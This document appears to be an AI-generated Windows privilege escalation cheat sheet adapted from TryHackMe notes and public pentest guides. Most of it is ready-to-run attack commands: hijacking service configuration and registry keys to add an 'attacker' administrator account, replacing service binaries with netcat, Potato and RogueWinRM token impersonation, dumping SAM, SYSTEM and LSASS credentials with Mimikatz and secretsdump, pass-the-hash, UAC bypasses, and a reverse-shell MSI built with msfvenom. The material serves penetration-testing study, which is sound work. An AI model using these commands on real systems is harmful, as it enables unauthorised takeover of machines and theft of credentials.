ChatGPT

Windows Privilege Escalation Cheat Sheet

Enumeration (Initial Recon)

- **System info & patch level:** `systeminfo` (OS version, install date, HotFixes) [1]; if no recent hotfixes, older kernel exploits may apply.
- **Local accounts:** `net users` (list users), `net user <name>` (user details) [2].
- **Current privileges/groups:** `whoami /priv` (privileges), `whoami /groups` [2].
- **Running processes & services:** `tasklist /svc`, `sc queryex` (service status, binary paths). Use `accesschk.exe` (Sysinternals) to test write permissions.
- **Network info:** `ipconfig /all`, `route print`, `netstat -ano` (open ports/services) [3].
- **Search for credentials:** Use `findstr` or `grep` on local files. E.g.: `findstr /si password *.txt *.ini *.config` [4], `reg query HKLM /f password /t REG_SZ /s` [4], check common locations (e.g. `C:\Windows\Panther\Unattend.xml`).

Automated Enumeration Tools

Use post-exploitation scripts to highlight weak configurations: WinPEAS (LinPEAS for Windows) [5], PowerUp (PowerShell) [6], Seatbelt (GhostPack) [7], SharpUp (GhostPack), Sherlock/Watson (service ACLs) [7], Windows Exploit Suggester (matches `systeminfo` to CVEs) [8], etc. These detect potential vectors (service misconfig, weak perms, stored credentials). See the [HackTricks Windows PrivEsc Checklist][9] and [PayloadsAllTheThings Windows PrivEsc][16] for many automated checks.

Common Escalation Techniques

Unquoted Service Paths

If a service's executable path contains spaces and **lacks quotes**, Windows may execute a hijacked binary in a parent directory. For example, for `Path=C:\Program Files\My App\app.exe`, Windows will try `C:\Program.exe` then `C:\Program Files.exe` [9]. To find them:

```
# (cmd example) list auto services and filter
wmic service get Name,DisplayName,PathName,StartMode | findstr /i "Auto" |
findstr /i /v "C:\Windows\" | findstr /i /v "\""
```

If a vulnerable path is found, place a malicious EXE in the higher-level path (e.g. `C:\Program.exe`) and restart the service. (PowerUp's `Invoke-AllChecks` can detect unquoted paths [10].)

Insecure Service Permissions

Many services run as SYSTEM, but their configurations might be writable by non-admin users. To exploit:
- **ACL weakness:** Use `accesschk.exe` to find services whose executable or config can be modified. E.g.:

```
accesschk.exe -uvwc Everyone *
accesschk.exe -uvwc <ServiceName>
```

If a service is writable, reconfigure it:

```
sc qc <ServiceName>        # show service config (binary path, etc)
sc config <ServiceName> binpath= "cmd.exe /c net localgroup administrators
attacker /add"
net start <ServiceName>    # triggers adding attacker to Administrators
```

(On success, `net localgroup administrators` will list the new user [11].)
- **Service binary overwrite:** If the service's executable file is in a writeable directory, simply replace it with a payload:
1. Backup original: `copy "C:\Path\service.exe" C:\Temp\service.exe.bak`
2. Copy malicious EXE (e.g. `nc.exe`) over it.
3. `net start <ServiceName>` (starts service as SYSTEM, running your payload) [12].

Weak Service Registry Permissions

Windows stores service settings in the registry. If the ACL on a service's registry key is weak, you can modify its `ImagePath`. For example:

```
accesschk.exe -uvwq HKLM\System\CurrentControlSet\Services\<ServiceName>
reg query HKLM\System\CurrentControlSet\Services\<ServiceName>
# Suppose it shows ImagePath pointing to some exe. Replace it:
reg add HKLM\System\CurrentControlSet\Services\<ServiceName> /v ImagePath /t
REG_EXPAND_SZ /d "C:\Users\Public\shell.exe" /f
net start <ServiceName>
```

The service will launch `shell.exe` as SYSTEM [13].

Default Writable Folders / Insecure File Permissions

Windows has several default world-writable directories (e.g. `C:\Users\Public`, `C:\Windows\Tasks`, `C:\Windows\Temp`, etc. [14]). Also check program install folders, Public folders, or anything user-writable under `C:\Program Files` or `C:\ProgramData`. Any executable/DLL placed there may be run by a higher-privileged process. Use `icacls` or `accesschk` to find writable paths:

```
icacls "C:\Program Files\SomeApp"      # if BUILTIN\Users shows Modify, it's
vulnerable
```

If a service or startup program loads files from that location, replace them with your payload.

Startup Programs & AutoRuns (Registry and Startup Folder)

- **Registry "Run" keys:** Check `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` (and HKCU) for auto-start entries. For each path, test if it's writable (e.g. `accesschk.exe -wvu "C:\Path\app.exe"`). If so, replace the executable with a shell (and move the original elsewhere) [15]. On reboot or user logon, your payload runs as the account.
- **Startup folder:** Check `C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup` (and ProgramData Startup folder). Use `icacls` to find items there [16]. If a listed EXE is replaceable by you, copy your payload (e.g. reverse shell) in its place; it will execute at login.

Scheduled Tasks

Inspect scheduled tasks (at `C:\Windows\System32\Tasks` or via `schtasks /query /fo list /v`). If any task is modifiable (check folder ACLs or registry for tasks), you can edit it to run your command. For example, write a malicious EXE to a writable path and update the task's action to point to it.

DLL Hijacking / DLL Search Order

Some executables load DLLs from their working directory or current folder first. If an admin/service binary is in a directory where you can write, place a malicious DLL named as a dependency (e.g. `ntdll.dll`, `ucrtbase.dll`) to get code execution in that context. (Use tools like [Procmon] to identify missing DLL loads.)

Token Impersonation ("Potato" Exploits)

If you have **SeImpersonatePrivilege** or **SeAssignPrimaryTokenPrivilege** (viewable via `whoami /priv`), you can steal SYSTEM tokens from other processes. Common techniques include:
- **Juicy/Rotten Potato:** These exploit COM and SMB to hijack tokens. Many guides exist; typically, upload and run `JuicyPotato.exe` or `RottenPotatoNG.exe` with appropriate arguments to spawn SYSTEM shell.
- **RogueWinRM:** Abuse a service account with SeImpersonatePrivilege. RogueWinRM listens on port 5985 (WinRM) and tricks a service (e.g. BITS) into authenticating to it; on success it impersonates SYSTEM [17]. Example usage:

```
RogueWinRM.exe -p C:\windows\system32\cmd.exe
```

This will pop a SYSTEM shell [17]. See the [RogueWinRM GitHub][19] for details.
- **Meterpreter `getsystem` / Incognito:** In Metasploit, `run post/windows/manage/reflective_dllinject` or `getsystem` (with debug privilege) may yield SYSTEM. The Incognito extension can list and impersonate tokens (`list_tokens -u`, `impersonate_token "Administrator"`).

Note: The older "Token Kidnapping" vulnerability (MS09-012) and modern potato exploits all leverage these impersonation privileges [18].

RunAs & Saved Credentials

If credentials were saved (via `runas /savecred`), you can use them. First, list saved creds:

```
cmdkey /list
```

If an admin credential is present, run:

```
runas /user:DOMAIN\AdminUser /savecred "C:\Windows\System32\cmd.exe"
```

This will prompt for the password once; if saved, it spawns a shell as that user. (E.g. if saved for Administrator, you get a full elevated shell [19] .)

Credential Dumping

Once you have privileges, extract credentials from memory/files:
- **Registry hives:** With SeBackupPrivilege, you can dump SAM and SYSTEM hives:

```
reg save HKLM\SYSTEM C:\Temp\SYSTEM.hive
reg save HKLM\SAM C:\Temp\SAM.hive
```

Transfer these to attacker and run `secretsdump.py -system SYSTEM.hive -sam SAM.hive LOCAL` (Impacket) to get NT hashes [20] . Then use `psexec.py -hashes <LM:NTLMhash> Administrator@<ip>` for Pass-the-Hash [21] .
- **Mimikatz:** Load `mimikatz.exe` (or Invoke-Mimikatz in PowerShell) with debug privileges. Run: `privilege::debug` then `sekurlsa::logonpasswords` to dump plaintext passwords, Kerberos tickets, NT hashes, etc.
- **LSASS memory:** Use tools like `procdump.exe -ma lsass.exe lsass.dmp` or Meterpreter's `hashdump` to get credentials.
- **Other stores:** Check `C:\Windows\system32\config\` for cached credentials (HiveNightmare CVE-2021-36934 may allow non-admin users to read registry hives if unpatched).

UAC Bypass

If User Account Control is on and you have a non-admin shell, look for UAC bypass vectors. For example, on Windows 10 an exe named **fodhelper.exe** can be hijacked via registry to run commands as admin. Metasploit provides `exploit/windows/local/bypassuac_vbs` or others [22] . Also consider scheduling an elevated task or abusing `sdclt.exe` / `eventvwr.exe` tricks.

MSI AlwaysInstallElevated

If both the **HKLM** and **HKCU** policies for MSI "AlwaysInstallElevated" are enabled, any user can install a malicious MSI as SYSTEM. Check with:

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
```

If both return `0x1`, create a payload MSI (e.g. `msfvenom -p windows/shell_reverse_tcp -f msi -o rev.msi`) and run it (`msiexec /quiet /i rev.msi`) [23] [24].

Key Tools & Resources

- **Enumeration/Exploitation:** WinPEAS, Seatbelt, SharpUp, PowerUp, Sherlock/Watson – automated checks.
- **AccessChk:** Sysinternals tool to test file/service ACLs (`accesschk.exe`) [11].
- **Impacket:** SMB server/clients, `secretsdump.py` for SAM/System hashes.
- **Mimikatz:** Kerberos/ticket/tool for in-memory credentials.
- **RogueWinRM:** LPE exploit for SeImpersonatePrivilege (service→SYSTEM) [17].
- **Juicy/Rotten Potato:** Token impersonation exploits (search GitHub for latest versions).

For detailed checklists and payload examples, see the [PayloadsAllTheThings – Windows Privilege Escalation][16] page and the [HackTricks Windows PrivEsc cheat sheet][9]. They cover many additional vectors (e.g. COM hijacking, LPE kernel exploits, printer bug, WSL issues) not detailed here.

References: Content adapted from TryHackMe's Windows PrivEsc room notes and public resources [1] [15] [17] [20].

---

[1] [2] [3] [4] [5] [6] [23] Windows Privilege Escalation Guide | by Sodatex | Medium
https://medium.com/@sodahack/windows-privilege-escalation-guide-11ee6707794b

[7] [8] [11] [12] [13] [15] [16] [19] [22] Windows Privilege Escalation. Good Evening here i will publish my… | by kerolos ashraf | Medium
https://medium.com/@kero0x1/windows-privilege-escalation-d1b175f04528

[9] [10] [14] [24] Windows - Privilege Escalation - Internal All The Things
https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/

[17] GitHub - antonioCoco/RogueWinRM: Windows Local Privilege Escalation from Service Account to System
https://github.com/antonioCoco/RogueWinRM

[18] [20] [21] TryHackMe: Windows Privilege Escalation
https://www.jalblas.com/blog/thm-windows-privilege-escalation-walkthrough/